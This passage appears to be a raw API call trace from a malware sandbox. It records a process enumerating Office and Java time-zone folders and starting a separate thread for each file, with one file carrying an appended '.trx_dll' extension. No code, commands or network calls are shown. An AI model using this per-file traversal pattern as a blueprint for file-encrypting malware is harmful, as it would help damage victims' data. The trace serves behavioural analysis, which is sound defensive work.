_Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.875] wcscat (in: _Dest=0x1cdb5070, _Source="XLSLICER.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" [0158.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb5070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2658 [0158.876] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0 [0158.876] FindClose (in: hFindFile=0x1cd9df10 | out: hFindFile=0x1cd9df10) returned 1 [0158.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62c90) returned 1 [0158.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0158.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8a60) returned 1 Thread: id = 2452 os_tid = 0x1ec4 [0153.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced8f30 [0153.851] wcscpy (in: _Dest=0x1ced8f30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0153.851] wcscat (in: _Dest=0x1ced8f30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0153.851] wcscat (in: _Dest=0x1ced8f30, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*" [0153.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62f00 [0153.851] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*", lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dcd0 [0153.861] wcscmp (_String1=".", _String2=".") returned 0 [0153.861] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.861] wcscmp (_String1="..", _String2=".") returned 1 [0153.861] wcscmp (_String1="..", _String2="..") returned 0 [0153.861] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Azores", cAlternateFileName="")) returned 1 [0153.861] wcscmp (_String1="Azores", _String2=".") returned 1 [0153.861] wcscmp (_String1="Azores", _String2="..") returned 1 [0153.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8668c0 [0153.861] wcscpy (in: _Dest=0x1b8668c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0153.861] wcscat (in: _Dest=0x1b8668c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0153.862] wcscat (in: _Dest=0x1b8668c0, _Source="Azores" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Azores") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Azores" [0158.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8668c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13cc [0158.452] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bermuda", cAlternateFileName="")) returned 1 [0158.452] wcscmp (_String1="Bermuda", _String2=".") returned 1 [0158.452] wcscmp (_String1="Bermuda", _String2="..") returned 1 [0158.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x426efa80 [0158.452] wcscpy (in: _Dest=0x426efa80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0158.452] wcscat (in: _Dest=0x426efa80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0158.452] wcscat (in: _Dest=0x426efa80, _Source="Bermuda" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Bermuda") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Bermuda" [0158.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426efa80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf4c [0158.453] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="Canary", cAlternateFileName="")) returned 1 [0158.453] wcscmp (_String1="Canary", _String2=".") returned 1 [0158.453] wcscmp (_String1="Canary", _String2="..") returned 1 [0158.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x426efb00 [0158.454] wcscpy (in: _Dest=0x426efb00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0158.454] wcscat (in: _Dest=0x426efb00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0158.454] wcscat (in: _Dest=0x426efb00, _Source="Canary" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Canary") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Canary" [0158.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426efb00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf50 [0158.455] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cape_Verde", cAlternateFileName="CAPE_V~1")) returned 1 [0158.455] wcscmp (_String1="Cape_Verde", _String2=".") returned 1 [0158.455] wcscmp (_String1="Cape_Verde", _String2="..") returned 1 [0158.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x426efb80 [0158.455] wcscpy (in: _Dest=0x426efb80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0158.455] wcscat (in: _Dest=0x426efb80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0158.455] wcscat (in: _Dest=0x426efb80, _Source="Cape_Verde" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Cape_Verde") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Cape_Verde" [0158.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426efb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf54 [0158.456] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faroe", cAlternateFileName="")) returned 1 [0158.456] wcscmp (_String1="Faroe", _String2=".") returned 1 [0158.456] wcscmp (_String1="Faroe", _String2="..") returned 1 [0158.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426efc00 [0158.457] wcscpy (in: _Dest=0x426efc00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0158.457] wcscat (in: _Dest=0x426efc00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0158.457] wcscat (in: _Dest=0x426efc00, _Source="Faroe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Faroe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Faroe" [0158.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426efc00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf58 [0158.458] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Madeira", cAlternateFileName="")) returned 1 [0158.458] wcscmp (_String1="Madeira", _String2=".") returned 1 [0158.458] wcscmp (_String1="Madeira", _String2="..") returned 1 [0158.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x426efc80 [0158.458] wcscpy (in: _Dest=0x426efc80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0158.458] wcscat (in: _Dest=0x426efc80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0158.458] wcscat (in: _Dest=0x426efc80, _Source="Madeira" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Madeira") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Madeira" [0158.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426efc80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf5c [0158.460] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reykjavik", cAlternateFileName="REYKJA~1")) returned 1 [0158.460] wcscmp (_String1="Reykjavik", _String2=".") returned 1 [0158.460] wcscmp (_String1="Reykjavik", _String2="..") returned 1 [0158.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x426efd00 [0158.460] wcscpy (in: _Dest=0x426efd00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0158.460] wcscat (in: _Dest=0x426efd00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0158.460] wcscat (in: _Dest=0x426efd00, _Source="Reykjavik" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Reykjavik") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Reykjavik" [0158.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426efd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf60 [0158.461] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="South_Georgia", cAlternateFileName="SOUTH_~1")) returned 1 [0158.461] wcscmp (_String1="South_Georgia", _String2=".") returned 1 [0158.461] wcscmp (_String1="South_Georgia", _String2="..") returned 1 [0158.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x20509c30 [0158.461] wcscpy (in: _Dest=0x20509c30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0158.461] wcscat (in: _Dest=0x20509c30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0158.461] wcscat (in: _Dest=0x20509c30, _Source="South_Georgia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\South_Georgia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\South_Georgia" [0158.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf64 [0158.462] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stanley", cAlternateFileName="")) returned 1 [0158.462] wcscmp (_String1="Stanley", _String2=".") returned 1 [0158.462] wcscmp (_String1="Stanley", _String2="..") returned 1 [0158.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x426efd80 [0158.463] wcscpy (in: _Dest=0x426efd80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0158.463] wcscat (in: _Dest=0x426efd80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0158.463] wcscat (in: _Dest=0x426efd80, _Source="Stanley" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Stanley") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Stanley" [0158.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426efd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf68 [0158.464] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Helena", cAlternateFileName="ST_HEL~1")) returned 1 [0158.464] wcscmp (_String1="St_Helena", _String2=".") returned 1 [0158.464] wcscmp (_String1="St_Helena", _String2="..") returned 1 [0158.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x426efe00 [0158.464] wcscpy (in: _Dest=0x426efe00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0158.464] wcscat (in: _Dest=0x426efe00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0158.464] wcscat (in: _Dest=0x426efe00, _Source="St_Helena" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\St_Helena") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\St_Helena" [0158.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426efe00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf6c [0158.475] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Helena", cAlternateFileName="ST_HEL~1")) returned 0 [0158.475] FindClose (in: hFindFile=0x1cd9dcd0 | out: hFindFile=0x1cd9dcd0) returned 1 [0158.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62f00) returned 1 [0158.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8f30) returned 1 [0158.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17f0d0) returned 1 Thread: id = 2453 os_tid = 0x1ec8 [0153.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced8d00 [0153.868] wcscpy (in: _Dest=0x1ced8d00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0153.868] wcscat (in: _Dest=0x1ced8d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0153.868] wcscat (in: _Dest=0x1ced8d00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*" [0153.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63b30 [0153.868] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*", lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0153.873] wcscmp (_String1=".", _String2=".") returned 0 [0153.873] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.873] wcscmp (_String1="..", _String2=".") returned 1 [0153.873] wcscmp (_String1="..", _String2="..") returned 0 [0153.873] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adelaide", cAlternateFileName="")) returned 1 [0153.873] wcscmp (_String1="Adelaide", _String2=".") returned 1 [0153.873] wcscmp (_String1="Adelaide", _String2="..") returned 1 [0153.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b867a40 [0153.873] wcscpy (in: _Dest=0x1b867a40, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0153.874] wcscat (in: _Dest=0x1b867a40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0153.874] wcscat (in: _Dest=0x1b867a40, _Source="Adelaide" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Adelaide") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Adelaide" [0159.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee4 [0159.199] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brisbane", cAlternateFileName="")) returned 1 [0159.199] wcscmp (_String1="Brisbane", _String2=".") returned 1 [0159.199] wcscmp (_String1="Brisbane", _String2="..") returned 1 [0159.199] 